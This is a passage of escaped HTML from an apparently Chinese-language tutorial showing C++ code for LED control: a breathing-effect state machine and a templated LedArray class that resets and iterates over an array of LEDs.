class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eswitch\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCrtBreathStatus\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrtBreathStatus\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003eminus\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ealways\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrtBreathStatus\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ereset\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003esetTask\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003etask\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrtTask\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003etask\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eexecTask\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eswitch\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCrtTask\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e__diff__\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eminus\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e__diff__\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCrtBreathStatus\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrtBreathStatus\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTryBreath\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e__diff__\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCrtBreathStatus\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrtBreathStatus\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTryBreath\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e__diff__\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch2 id=\"led类--led-array-类\"\u003eLED类 =\u0026gt; LED Array 类\u003c/h2\u003e\n\u003cp\u003e简单的将上面的LED用array来 遍历 控制。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e47\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e48\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e49\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e50\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e51\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e52\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e53\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e54\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e55\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e56\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e57\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e58\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e59\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e60\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e61\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e62\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e63\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e64\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e65\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e66\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e67\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e68\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e69\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e70\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e71\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e72\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e73\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e74\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-cpp\" data-lang=\"cpp\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003etemplate\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003esize_t\u003c/span\u003e \u003cspan class=\"n\"\u003eN\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eLedArray\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003earray\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eLed\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eN\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003e__leds__\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003e__size__\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eLedArray\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003earray\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eLed\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eN\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003eleds\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003e__leds__\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eleds\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"n\"\u003e__size__\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eN\u003c/span\u003e\u003cspan class=\"p\"\u003e){};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e~\u003c/span\u003e\u003cspan class=\"n\"\u003eLedArray\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eLed\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"nl\"\u003eled\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003e__leds__\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eled\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ereset\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eresetAll\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eLed\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"nl\"\u003eled\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003e__leds__\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eled\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ereset\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eprintCompares\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan 